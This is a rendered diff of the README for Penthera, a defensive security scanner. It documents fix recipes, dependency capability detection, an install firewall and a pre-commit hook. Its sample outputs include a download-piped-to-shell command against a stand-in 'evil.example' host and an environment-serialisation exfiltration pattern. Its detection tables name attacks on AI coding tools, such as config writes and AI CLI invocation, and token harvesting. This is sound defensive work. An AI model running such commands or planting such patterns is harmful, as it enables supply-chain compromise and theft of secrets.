penthera fix --plan --repo . # fresh repo scan, one diff per fix
|
|
407
|
-
penthera fix --plan --repo . -o report.json # or use the findings from an earlier scan
|
|
408
|
-
penthera fix --apply <id> --repo . # apply one diff after you approve it
|
|
409
|
-
```
|
|
410
|
-
|
|
411
|
-
| Recipe | What it changes | Frameworks |
|
|
412
|
-
|--------|-----------------|------------|
|
|
413
|
-
| `security-headers` | Adds a starter CSP (with `frame-ancestors`), HSTS, X-Frame-Options, Referrer-Policy and X-Content-Type-Options | Next.js (`headers()` in `next.config.*`), Express (`helmet` if installed, otherwise a small middleware), Fastify (`@fastify/helmet` if installed, otherwise an `onSend` hook), Hono (`secureHeaders`) |
|
|
414
|
-
| `cookie-flags` | Adds `httpOnly`, `secure` and `sameSite` to cookies set in code | `res.cookie`, `reply.setCookie`, Hono `setCookie`, Next.js `cookies().set` |
|
|
415
|
-
| `cors-allowlist` | Replaces `cors()`, `origin: "*"`, `origin: true` and `origin \|\| "*"` with an allowlist from `CORS_ALLOWED_ORIGINS` | Express, Fastify, Hono, Next.js route handlers |
|
|
416
|
-
| `auth-rate-limit` | Puts a rate-limit stub (in memory, 10 attempts per 15 minutes) on login and auth routes | Express (`express-rate-limit` if installed), Fastify, Hono, Next.js App Router |
|
|
417
|
-
| `secret-to-env` | Moves a hardcoded secret in JS/TS to `process.env.NAME` and adds `NAME=` to `.env.example` | Any |
|
|
418
|
-
|
|
419
|
-
How it stays safe:
|
|
420
|
-
|
|
421
|
-
- **Planning never writes.** Applying is a separate step: it needs a plan id plus a `y/N` confirmation (or `--yes`), refuses a dirty git tree unless you pass `--allow-dirty`, refuses any path outside the repo, and writes nothing unless every hunk applies. It never commits or pushes.
|
|
422
|
-
- **Conservative edits.** No AST rewriting: each recipe edits at an anchor it recognises exactly (`const app = express()`, the exported Next.js config object, a one-line `res.cookie(...)`). If the anchor isn't there, or the code already does something custom (an existing `headers()`, cookie options in a variable), the recipe returns no plan instead of a risky diff.
|
|
423
|
-
- **Owner actions are listed, not done.** A recipe can move a secret out of the code but can never rotate it, so every secret fix says "rotate this secret". Other recipes flag what is still on you, such as tightening the starter CSP or setting `CORS_ALLOWED_ORIGINS`.
|
|
424
|
-
- **Secrets stay masked.** The secret's value is masked in printed and `--json` plans.
|
|
425
|
-
- **Verified.** After `--apply`, Penthera re-scans the repo and says whether each finding is gone. Headers, cookies, CORS and rate limits are checked statically from source, so re-run your URL scan to confirm against the live app.
|
|
426
|
-
|
|
427
|
-
No recipe for a finding? `--fix-model <name>` can ask a model running in [Ollama](https://ollama.com) on `127.0.0.1:11434`, and nowhere else. It is off by default and only used when no recipe matches. Its diffs are labelled `needs-human-review`.
|
|
428
|
-
|
|
429
|
-
### The local loop: `penthera agent --loop`
|
|
430
|
-
|
|
431
|
-
`penthera agent --loop` runs scan → fix → verify → learn on your machine until nothing fixable is left (or `--max-iterations`, default 5):
|
|
432
|
-
|
|
433
|
-
```bash
|
|
434
|
-
penthera agent --loop --repo . --url http://localhost:3000 -o reports/loop.json
|
|
435
|
-
```
|
|
436
|
-
|
|
437
|
-
It shows each diff and asks `y/n/skip/quit`, applies it on a local branch `penthera/fix-<yyyymmdd-hhmm>`, re-scans (plus your tests with `--run-tests`), commits the fix if it verified and reverts it if not, and records the outcome in [local memory](docs/local-loop.md). It refuses a dirty tree or a detached HEAD, runs only an allow-list of local git commands with your repo's hooks disabled, contacts only the `--url` host, and never pushes or opens a pull request. `--auto low` applies without asking only recipes that memory shows verified 3+ times with no failures on your framework. Details and the `loopRun` JSON: [docs/local-loop.md](docs/local-loop.md#the-agent-loop).
|
|
438
|
-
|
|
439
|
-
---
|
|
440
|
-
|
|
441
|
-
## Dependency risk: what can your packages do?
|
|
442
|
-
|
|
443
|
-
A lockfile change is code you did not write, about to run with your app's access
|
|
444
|
-
to files, network, environment and CI secrets. `penthera deps` reads
|
|
445
|
-
`package-lock.json`, statically scans every installed package, and tells you
|
|
446
|
-
what each one *can do*, and which packages are new or gained capabilities in an
|
|
447
|
-
upgrade.
|
|
448
|
-
|
|
449
|
-
```bash
|
|
450
|
-
penthera deps # every package in node_modules
|
|
451
|
-
penthera deps --base origin/main # capability diff vs the lockfile on main
|
|
452
|
-
penthera deps --diff ../base-checkout # diff vs another installed tree (or an old package-lock.json)
|
|
453
|
-
penthera deps --pr-comment deps.md # short Markdown diff for a PR comment
|
|
454
|
-
```
|
|
455
|
-
|
|
456
|
-
```
|
|
457
|
-
▲ net-helper 1.0.0 → 1.1.0 + network, whole environment
|
|
458
|
-
node_modules/net-helper/index.js:3 const https = require('https');
|
|
459
|
-
node_modules/net-helper/index.js:5 const body = JSON.stringify(process.env);
|
|
460
|
-
```
|
|
461
|
-
|
|
462
|
-
| Capability | Detected from |
|
|
463
|
-
|---|---|
|
|
464
|
-
| Install scripts | `preinstall` / `install` / `postinstall`, and `binding.gyp` (npm runs `node-gyp` implicitly). Flagged as risky when the hook pipes a download to a shell or runs a file with network or decoding code |
|
|
465
|
-
| Shell, network, dynamic code | `child_process`; `http`/`https`/`net`/`dgram`/`tls`/`http2`, `fetch`, `WebSocket`; `eval`, `new Function`, `vm` |
|
|
466
|
-
| Environment | `process.env` reads, and bulk access (`JSON.stringify(process.env)`, enumeration). Serialising the environment next to network code is reported as likely exfiltration |
|
|
467
|
-
| Files, modules, native | Writes near home-directory or system paths; computed `require()`/`import()`; `.node` addons and `binding.gyp` |
|
|
468
|
-
| Obfuscation | Obfuscator identifiers (`_0x…`), `\x`-escape density, encoded blobs that are decoded and run (embedded WebAssembly and ANSI colour codes are recognised and ignored) |
|
|
469
|
-
| Attack indicators | Writes to `~/.claude`, `~/.cursor`, `.mcp.json` or the Claude Desktop config; running the `claude`, `gemini` or `q` CLIs (the s1ngularity pattern); GitHub token harvesting |
|
|
470
|
-
| Typosquats | Edit distance, separator and suffix tricks against ~7,800 popular npm names, vendored in the package and refreshed at release time |
|
|
471
|
-
|
|
472
|
-
Every capability carries `file:line` evidence. It is a regex-and-tokenizer pass,
|
|
473
|
-
not a full parser: deterministic, never executes package code, and fast enough
|
|
474
|
-
for every PR (0.4 s for Penthera's own 61 packages, 5 to 16 s for real app
|
|
475
|
-
trees of 500 to 1,700 packages). A capability is what code
|
|
476
|
-
*can* do, not proof that it is malicious; the findings carry honest confidence
|
|
477
|
-
labels (`potential` for obfuscation and typosquats).
|
|
478
|
-
|
|
479
|
-
**Offline by default.** Old versions for the diff come from the base tree's
|
|
480
|
-
`node_modules` or from npm's local cache (`~/.npm/_cacache`), looked up by the
|
|
481
|
-
lockfile's integrity hash and verified byte for byte. `--online` is the only
|
|
482
|
-
network use: it asks the npm registry for publish dates, publisher changes and
|
|
483
|
-
deprecations, and fetches old tarballs the cache does not have (verified the
|
|
484
|
-
same way). To comment the capability diff on every PR that changes the
|
|
485
|
-
lockfile, use the GitHub Action below.
|
|
486
|
-
|
|
487
|
-
### Use as a GitHub Action
|
|
488
|
-
|
|
489
|
-
```yaml
|
|
490
|
-
- uses: danoszz/penthera@<release-commit-sha> # v1.4.0
|
|
491
|
-
with:
|
|
492
|
-
mode: deps # deps | agents | scan (scan also needs url:)
|
|
493
|
-
fail-on: none # none | high | critical
|
|
494
|
-
```
|
|
495
|
-
|
|
496
|
-
On every pull request it posts one comment with the capability diff against
|
|
497
|
-
the PR base and edits that same comment on each push. It also uploads SARIF to
|
|
498
|
-
code scanning. Penthera runs from the action's own checkout: no npx, no install
|
|
499
|
-
from npm, no registry lookups. On fork PRs the token is read-only, so the diff
|
|
500
|
-
goes to the job summary instead. Inputs: `mode`, `path`, `base-ref`, `url`,
|
|
501
|
-
`fail-on`, `comment`, `sarif`, `penthera-version`. Copy the full workflow, with
|
|
502
|
-
permissions and a lockfile paths filter, from
|
|
503
|
-
[`docs/examples/pr-dependency-review.yml`](docs/examples/pr-dependency-review.yml).
|
|
504
|
-
|
|
505
|
-
### Install firewall: `penthera install`
|
|
506
|
-
|
|
507
|
-
`penthera deps` tells you what changed after the fact. `penthera install` asks
|
|
508
|
-
before anything runs:
|
|
509
|
-
|
|
510
|
-
```bash
|
|
511
|
-
penthera install left-pad # check, then install (asks if the policy says so)
|
|
512
|
-
penthera install -D vitest --dry-run # report only
|
|
513
|
-
penthera install --yes # CI: install only if nothing breaches the policy
|
|
514
|
-
```
|
|
515
|
-
|
|
516
|
-
```
|
|
517
|
-
▲ color-helper 1.0.0 → 1.1.0 + install script
|
|
518
|
-
postinstall: node postinstall.js
|
|
519
|
-
|
|
520
|
-
Policy defaults (no penthera.policy.json)
|
|
521
|
-
! color-helper@1.1.0 needs approval: install script
|
|
522
|
-
|
|
523
|
-
Install anyway? [y]es, run the install scripts / [s]kip scripts / [N]o:
|
|
524
|
-
```
|
|
525
|
-
|
|
526
|
-
1. npm resolves the new tree in a temporary copy of `package.json` and the
|
|
527
|
-
lockfile, with scripts off (`npm install --package-lock-only --ignore-scripts`).
|
|
528
|
-
2. New tarballs are fetched with `npm cache add`. Nothing is unpacked into
|
|
529
|
-
`node_modules` and no package code runs; each tarball is checked against
|
|
530
|
-
the proposed lockfile's integrity before it is read.
|
|
531
|
-
3. The `deps` engine diffs capabilities against your current lockfile, lists
|
|
532
|
-
new install scripts with their commands, and checks new names for typosquats.
|
|
533
|
-
4. `penthera.policy.json` decides. On approval, the reviewed lockfile is
|
|
534
|
-
installed as is, with `--ignore-scripts` unless you approved the scripts
|
|
535
|
-
(on npm 12+, approved scripts are pinned in `package.json` `allowScripts`).
|
|
536
|
-
On abort, exit code 1, and the project is byte for byte unchanged.
|
|
537
|
-
|
|
538
|
-
```json
|
|
539
|
-
{
|
|
540
|
-
"allow": ["@acme/*", "esbuild", "sharp@0.33.5"],
|
|
541
|
-
"deny": ["ai-cli-invoke", "token-harvest"],
|
|
542
|
-
"requireApproval": ["install-scripts", "ai-config-write", "ai-cli-invoke",
|
|
543
|
-
"token-harvest", "obfuscated", "typosquat", "unscanned"]
|
|
544
|
-
}
|
|
545
|
-
```
|
|
546
|
-
|
|
547
|
-
`deny` and `requireApproval` take capability ids from the table above
|
|
548
|
-
(`install-scripts`, `shell`, `network`, `env-bulk`, `obfuscated`, ...) plus
|
|
549
|
-
`typosquat` and `unscanned`. The `requireApproval` list shown is the default.
|
|
550
|
-
`allow` takes names or globs, optionally pinned to a version, and overrides
|
|
551
|
-
both. The one network use is npm talking to your configured registry, and
|
|
552
|
-
Penthera prints which one; Penthera itself sends nothing. Workspaces and
|
|
553
|
-
`file:` dependencies are not supported yet.
|
|
554
|
-
|
|
555
|
-
### License policy
|
|
556
|
-
|
|
557
|
-
```bash
|
|
558
|
-
penthera deps --license-policy permissive # or weak-copyleft-ok, no-agpl
|
|
559
|
-
penthera deps --license-policy legal/policy.json # a file with a "licenses" section
|
|
560
|
-
```
|
|
561
|
-
|
|
562
|
-
Without the flag, `penthera deps` applies the `licenses` section of
|
|
563
|
-
`penthera.policy.json` when there is one:
|
|
564
|
-
|
|
565
|
-
```json
|
|
566
|
-
{
|
|
567
|
-
"licenses": {
|
|
568
|
-
"preset": "permissive",
|
|
569
|
-
"allow": ["Python-2.0"],
|
|
570
|
-
"deny": ["WTFPL"],
|
|
571
|
-
"allowPackages": ["@acme/*", "sharp@0.33.5"],
|
|
572
|
-
"unknown": "warn"
|
|
573
|
-
}
|
|
574
|
-
}
|
|
575
|
-
```
|
|
576
|
-
|
|
577
|
-
| Preset | Allows |
|
|
578
|
-
|---|---|
|
|
579
|
-
| `permissive` | MIT, ISC, BSD, Apache-2.0, 0BSD, Unlicense, CC0, Zlib, BlueOak and similar. Everything else breaches |
|
|
580
|
-
| `weak-copyleft-ok` | `permissive` plus LGPL, MPL, EPL, CDDL and Artistic-2.0 |
|
|
581
|
-
| `no-agpl` | Anything except AGPL and SSPL (network copyleft) |
|
|
582
|
-
|
|
583
|
-
Licenses come from the lockfile (npm records them in v2 and v3), else from
|
|
584
|
-
the installed `package.json`. Expressions are parsed as SPDX:
|
|
585
|
-
`MIT OR GPL-3.0-only` passes `permissive` because one branch is enough, while
|
|
586
|
-
`MIT AND GPL-3.0-only` does not. Deprecated ids (`GPL-3.0`, `GPL-2.0+`) are
|
|
587
|
-
matched to their current form, so a deny of `AGPL-3.0-only` also catches a
|
|
588
|
-
package that says `AGPL-3.0`. A breach and `UNLICENSED` (no rights granted)
|
|
589
|
-
are high. A missing, custom (`SEE LICENSE IN ...`) or non-SPDX license is
|
|
590
|
-
medium, or high with `"unknown": "block"`. `allowPackages` exempts packages your
|
|
591
|
-
legal review has cleared. Findings use category `license` and appear in every
|
|
592
|
-
output format, and `--sbom` now records each component's license.
|
|
593
|
-
|
|
594
|
-
## Block it before it's committed
|
|
595
|
-
|
|
596
|
-
Once a secret is pushed, rotating it is the only fix. The pre-commit hook runs
|
|
597
|
-
the checks that matter on what you are about to commit, and nothing else:
|
|
598
|
-
|
|
599
|
-
```bash
|
|
600
|
-
penthera hook install # writes .git/hooks/pre-commit; an existing hook is kept and runs first
|
|
601
|
-
penthera hook run # what the hook runs; try it on staged changes
|
|
602
|
-
penthera hook uninstall # removes it and puts your old hook back
|
|
603
|
-
```
|
|
604
|
-
|
|
605
|
-
On staged content only (the git index, not your working tree):
|
|
606
|
-
|
|
607
|
-
- secrets and AI provider keys in staged files;
|
|
608
|
-
- `penthera agents` rules on staged `.mcp.json`, `CLAUDE.md`, `AGENTS.md`,
|
|
609
|
-
`.cursor/`, `.claude/` and `skills/`;
|
|
610
|
-
- when `package-lock.json` is staged, the capability diff against HEAD's
|
|
611
|
-
lockfile and the license policy, for the packages this commit adds.
|
|
612
|
-
|
|
613
|
-
```
|
|
614
|
-
✗ penthera blocked this commit: 2 findings at high or above (2 staged files, 1 agent config, 0.1s)
|
|
615
|
-
|
|
616
|
-
✗ CRITICAL .mcp.json MCP server "x" launches by downloading and running code id b5914a44a2058da9
|
|
617
|
-
→ Launch command contains a download piped to a shell: `curl https://evil.example/x.sh | sh`.
|
|
618
|
-
✗ CRITICAL config.js:1 Anthropic API key in source sk-a…AAAA id 7a0eb6998ff38787
|
|
619
|
-
→ Load it from an env var or secret store and unstage the file; rotate it if it was ever pushed or shared.
|
|
620
|
-
|
|
621
|
-
Fix and `git add` again. A false positive? Add it to penthera.suppress.json:
|
|
622
|
-
{ "version": 1, "suppress": [{ "id": "b5914a44a2058da9", "reason": "why this is safe" }] }
|
|
623
|
-
To skip the check for one commit: git commit --no-verify (the finding still ships)
|
|
624
|
-
```
|
|
625
|
-
|
|
626
|
-
It blocks on high and critical by default and takes about 0.1 to 0.5 s.
|
|
627
|
-
Configure it in `penthera.policy.json`:
|
|
628
|
-
|
|
629
|
-
```json
|
|
630
|
-
{ "hook": { "blockOn": "high", "ignore": ["tests/fixtures/**"],
|
|
631
|
-
"checks": { "secrets": true, "agents": true, "deps": true, "licenses": true } } }
|
|
632
|
-
```
|
|
633
|
-
|
|
634
|
-
If husky or lefthook manage your hooks (`core.hooksPath` is set),
|
|
635
|
-
`penthera hook install` says so instead of overwriting them. Add one line to
|
|
636
|
-
that tool instead:
|
|
637
|
-
|
|
638
|
-
```bash
|
|
639
|
-
# husky
|
|
640
|
-
echo "npx --no-install penthera hook run" >> .husky/pre-commit
|
|
641
|
-
```
|
|
642
|
-
|
|
643
|
-
```yaml
|
|
644
|
-
# lefthook.yml
|
|
645
|
-
pre-commit:
|
|
646
|
-
commands:
|
|
647
|
-
penthera:
|
|
648
|
-
run: npx --no-install penthera hook run
|
|
649
|
-
```
|
|
650
|
-
|
|
651
|
-
```yaml
|
|
652
|
-
# .pre-commit-config.yaml (pre-commit.com)
|
|
653
|
-
repos:
|
|
654
|
-
- repo: https://github.com/danoszz/penthera
|
|
655
|
-
rev: <tag or sha>
|
|
656
|
-
hooks:
|
|
657
|
-
- id: penthera
|
|
658
|
-
```
|
|
659
|
-
|
|
660
|
-
---
|
|
661
|
-
|
|
662
|
-
## Compliance: NIS2 and the cyberwetgeving
|
|
240
|
+
## Compliance: NIS2 and the CRA
|
|
663
241
|
|
|
664
242
|
Shipping in the EU? NIS2 (the Cyberbeveiligingswet in the Netherlands, the
|
|
665
|
-
NIS2-wet in Belgium) puts a duty of care on in-scope organisations
|
|
666
|
-
|
|
667
|
-
|
|
668
|
-
|
|
669
|
-
|
|
670
|
-
|
|
671
|
-
|
|
672
|
-
| `--readiness --assessment a.json` | Full readiness report: every measure marked met / partial / gap |
|
|
673
|
-
| `--questionnaire questions.txt` | Customer security questionnaire drafted from your evidence |
|
|
674
|
-
| `--policy-pack ./policies` | Proportionate policy templates, prefilled from your gaps |
|
|
675
|
-
| `--incident incident.json` | 24h / 72h / 1-month incident report drafts and deadlines |
|
|
676
|
-
| `--sbom sbom.cdx.json` | CycloneDX software bill of materials |
|
|
677
|
-
| `--cra cra.json` | CRA Article 14 drafts: 24h / 72h / 14-day or 1-month deadlines, overdue flags |
|
|
678
|
-
| `--aibom aibom.cdx.json` | CycloneDX 1.6 AI-BOM: AI SDKs, models in code, MCP servers, skills, prompts |
|
|
679
|
-
| `--history history.json` | Time-to-fix, ageing, and drift across scans |
|
|
680
|
-
| `--suppliers suppliers.txt` | Passive red/amber/green rating of your suppliers |
|
|
681
|
-
|
|
682
|
-
**Full guide, the measure-by-measure coverage table, and the limits:**
|
|
683
|
-
[docs/compliance-nis2.md](docs/compliance-nis2.md). Cyber Resilience Act
|
|
684
|
-
reporting and the AI-BOM: [docs/compliance-cra.md](docs/compliance-cra.md).
|
|
243
|
+
NIS2-wet in Belgium) puts a duty of care on in-scope organisations, and the
|
|
244
|
+
Cyber Resilience Act adds reporting duties for products with digital elements.
|
|
245
|
+
Penthera turns the technical, testable part into repeatable evidence: an
|
|
246
|
+
Article 21(2) coverage table (`--framework nis2`), a readiness report, policy
|
|
247
|
+
templates, incident and CRA Article 14 report drafts with deadlines, a CycloneDX
|
|
248
|
+
SBOM and AI-BOM, and prefilled customer questionnaires. Offline, no accounts.
|
|
249
|
+
Guides: [NIS2](docs/compliance-nis2.md) and [CRA](docs/compliance-cra.md).
|
|
685
250
|
|
|
686
251
|
> Readiness tooling, not a certification and not legal advice.
|
|
687
252
|
|
|
688
253
|
---
|
|
689
254
|
|
|
690
|
-
## CI integration
|
|
691
|
-
|
|
692
|
-
```yaml
|
|
693
|
-
# Scan a staging URL on a schedule and upload results to GitHub Security.
|
|
694
|
-
- run: npx penthera@1.5.0 "$PENTEST_URL" --profile standard --sarif reports/scan.sarif
|
|
695
|
-
- uses: github/codeql-action/upload-sarif@v4
|
|
696
|
-
with:
|
|
697
|
-
sarif_file: reports/scan.sarif
|
|
698
|
-
```
|
|
699
|
-
|
|
700
|
-
Copy the full workflow from
|
|
701
|
-
[`docs/examples/github-actions-scan.yml`](docs/examples/github-actions-scan.yml)
|
|
702
|
-
into your app's repo. Pin the Penthera version so a scheduled run never picks up
|
|
703
|
-
code you have not reviewed.
|
|
704
|
-
|
|
705
|
-
Penthera's own CI runs the full test suite on Node 22 and 24, self-scans a mock
|
|
706
|
-
vulnerable API on every push, and runs CodeQL and OpenSSF Scorecard.
|
|
707
|
-
|
|
708
|
-
---
|
|
709
|
-
|
|
710
255
|
## Ethical use & authorization
|
|
711
256
|
|
|
712
257
|
Penthera sends HTTP requests to the targets you give it. Some modes (`--deep`,
|
|
@@ -739,86 +284,37 @@ academic or professional penalties.
|
|
|
739
284
|
|
|
740
285
|
## Install
|
|
741
286
|
|
|
742
|
-
|
|
287
|
+
Requirements: Node.js 22+ and npm. To install from source:
|
|
743
288
|
|
|
744
289
|
```bash
|
|
745
290
|
git clone https://github.com/danoszz/penthera.git
|
|
746
|
-
cd penthera
|
|
747
|
-
npm install
|
|
748
|
-
npm link # exposes `penthera` and `penthera-scan` globally
|
|
749
|
-
penthera --version
|
|
750
|
-
```
|
|
751
|
-
|
|
752
|
-
Requirements: Node.js 22+ and npm. Optional: nuclei-templates for `--nuclei`, and
|
|
753
|
-
Docker. To run it in a container:
|
|
754
|
-
|
|
755
|
-
```bash
|
|
756
|
-
docker build -t penthera .
|
|
757
|
-
docker run --rm penthera https://your-app.example
|
|
758
|
-
```
|
|
759
|
-
|
|
760
|
-
---
|
|
761
|
-
|
|
762
|
-
## Configuration
|
|
763
|
-
|
|
764
|
-
For live integration tests against your own routes:
|
|
765
|
-
|
|
766
|
-
```bash
|
|
767
|
-
cp pentest.config.example.js pentest.config.js # gitignored
|
|
291
|
+
cd penthera && npm install && npm link # exposes `penthera` globally
|
|
768
292
|
```
|
|
769
293
|
|
|
770
|
-
|
|
771
|
-
point at staging without editing the file.
|
|
294
|
+
Or in a container: `docker build -t penthera . && docker run --rm penthera https://your-app.example`.
|
|
772
295
|
|
|
773
|
-
|
|
774
|
-
|
|
775
|
-
## Testing & contributing
|
|
296
|
+
## Testing and contributing
|
|
776
297
|
|
|
777
298
|
```bash
|
|
778
299
|
npm test # full suite (live integration tests skip without a running target)
|
|
779
300
|
npm run pentest:mock # offline tests against a local mock vuln API
|
|
780
|
-
npm run
|
|
301
|
+
npm run bench # precision and recall on labelled local targets
|
|
781
302
|
```
|
|
782
303
|
|
|
783
|
-
|
|
784
|
-
|
|
785
|
-
|
|
786
|
-
|
|
787
|
-
|
|
788
|
-
or template, the test matrix, and the release and publishing checklist.
|
|
789
|
-
|
|
790
|
-
---
|
|
791
|
-
|
|
792
|
-
## Methodology and accuracy
|
|
793
|
-
|
|
794
|
-
How Penthera decides what is a finding, how sure it is, and what it cannot
|
|
795
|
-
see is written up in [docs/METHODOLOGY.md](docs/METHODOLOGY.md), with every
|
|
796
|
-
design choice tied to published research or a standard
|
|
797
|
-
([references](docs/references.md)). Reports carry the same citations: each
|
|
798
|
-
finding gets a "Why this matters / Sources" line, and SARIF rules link to their
|
|
799
|
-
source.
|
|
800
|
-
|
|
801
|
-
Accuracy is measured, not claimed. `npm run bench` scans local labelled
|
|
802
|
-
targets offline and scores precision and recall; the current run is 19 true
|
|
803
|
-
positives, 3 false positives and 2 false negatives (precision 0.86, recall
|
|
804
|
-
0.90). The [results](bench/RESULTS.md) list every miss and false alarm, and
|
|
805
|
-
the [benchmark README](bench/README.md) explains the method and its limits.
|
|
806
|
-
|
|
807
|
-
To cite Penthera, use the "Cite this repository" button on GitHub
|
|
304
|
+
How Penthera decides what is a finding, how sure it is, and what it cannot see
|
|
305
|
+
is in [docs/METHODOLOGY.md](docs/METHODOLOGY.md), with every design choice tied
|
|
306
|
+
to a [reference](docs/references.md). See [CONTRIBUTING.md](CONTRIBUTING.md) for
|
|
307
|
+
the project layout and release checklist, and the [roadmap](ROADMAP.md) for what
|
|
308
|
+
is next. To cite Penthera, use the "Cite this repository" button on GitHub
|
|
808
309
|
([CITATION.cff](CITATION.cff)).
|
|
809
310
|
|
|
810
|
-
---
|
|
811
|
-
|
|
812
311
|
## Status
|
|
813
312
|
|
|
814
|
-
|
|
815
|
-
|
|
816
|
-
|
|
817
|
-
|
|
818
|
-
[CHANGELOG](CHANGELOG.md) for the
|
|
819
|
-
what is next.
|
|
820
|
-
|
|
821
|
-
Penthera is actively maintained. Issues and PRs welcome.
|
|
313
|
+
App scanning (URL, repo, macOS machine), dependency capability analysis and an
|
|
314
|
+
install firewall, the AI-tooling audit, the local fix loop with a learning
|
|
315
|
+
store, audience reports and evidence bundles, the PR-comment GitHub Action, the
|
|
316
|
+
pre-commit hook, and NIS2 and CRA readiness tooling are all shipped. See the
|
|
317
|
+
[CHANGELOG](CHANGELOG.md) for the history. Issues and PRs welcome.
|
|
822
318
|
|
|
823
319
|
---
|
|
824
320
|
|
|
@@ -846,42 +342,11 @@ a security endorsement of that company. Details in
|
|
|
846
342
|
|
|
847
343
|
## Privacy
|
|
848
344
|
|
|
849
|
-
Penthera has no telemetry
|
|
850
|
-
|
|
851
|
-
-
|
|
852
|
-
|
|
853
|
-
|
|
854
|
-
- **Every scan lists the third-party hosts it contacted** besides the target, in the terminal summary and in the report's "Network egress" section.
|
|
855
|
-
|
|
856
|
-
Without `--offline`, a scan may contact these third parties:
|
|
857
|
-
|
|
858
|
-
| Host | When | What it learns |
|
|
859
|
-
|---|---|---|
|
|
860
|
-
| `raw.githubusercontent.com`, `cdn.jsdelivr.net` | Retire.js check (standard and deep profiles) | That someone downloaded the public database. Nothing about your target. |
|
|
861
|
-
| `crt.sh`, `web.archive.org`, `otx.alienvault.com` | `--recon` only | The target domain. |
|
|
862
|
-
| CDN hosts serving your page's `<script src>` | Retire.js check, when a script's version can only be read from its contents | That someone fetched that public script. |
|
|
863
|
-
|
|
864
|
-
### Fully local: `--offline`
|
|
865
|
-
|
|
866
|
-
```bash
|
|
867
|
-
penthera http://localhost:3000 --offline
|
|
868
|
-
```
|
|
869
|
-
|
|
870
|
-
With `--offline`, the HTTP client refuses every host except the scan target. A redirect may only move to a host on the target's registrable domain (`example.com` to `www.example.com`). In practice:
|
|
871
|
-
|
|
872
|
-
- **Recon is skipped.** No queries go to crt.sh, the Wayback Machine or OTX.
|
|
873
|
-
- **The Retire.js database comes from the snapshot vendored in the package** (`lib/data/retire-jsrepository.json.gz`), refreshed at each release by `scripts/refresh-retire-db.mjs`. The source URL, fetch date and SHA-256 sit next to it in `retire-jsrepository.meta.json`, so you can check it against upstream. Online scans fall back to the snapshot too when the live download fails.
|
|
874
|
-
- **Third-party scripts are not fetched.** A refused request is listed in the report as an inconclusive probe, not passed over silently.
|
|
875
|
-
- **`--suppliers` is refused**, because it rates third-party domains.
|
|
876
|
-
- **DNS:** reaching a remote target needs DNS. For non-local targets, the email-authentication check also looks up the target domain's SPF/DMARC/MX records through your system resolver. A `localhost` or IP target needs no DNS at all.
|
|
877
|
-
|
|
878
|
-
Penthera never fetches rules or code at runtime: templates, wordlists and the vulnerability database ship in the package.
|
|
879
|
-
|
|
880
|
-
### Inconclusive probes
|
|
881
|
-
|
|
882
|
-
When a probe's requests time out, fail, or are refused by `--offline`, the scan records `{ probe, url, message }` in `result.errors`. The terminal summary shows "N probes inconclusive", and the Markdown report lists each one. A probe that could not run is not a clean result.
|
|
883
|
-
|
|
884
|
-
You are responsible for ensuring you are authorized to scan any target. See [Ethical use](#ethical-use--authorization).
|
|
345
|
+
Penthera has no telemetry and does not phone home. Scan traffic goes to the
|
|
346
|
+
target you name, reports stay on your machine, and every scan lists any
|
|
347
|
+
third-party host it contacted. With `--offline` the HTTP client refuses every
|
|
348
|
+
host except the target. Which hosts a normal scan may contact, and why, is in
|
|
349
|
+
[docs/privacy.md](docs/privacy.md).
|
|
885
350
|
|
|
886
351
|
---
|
|
887
352
|
|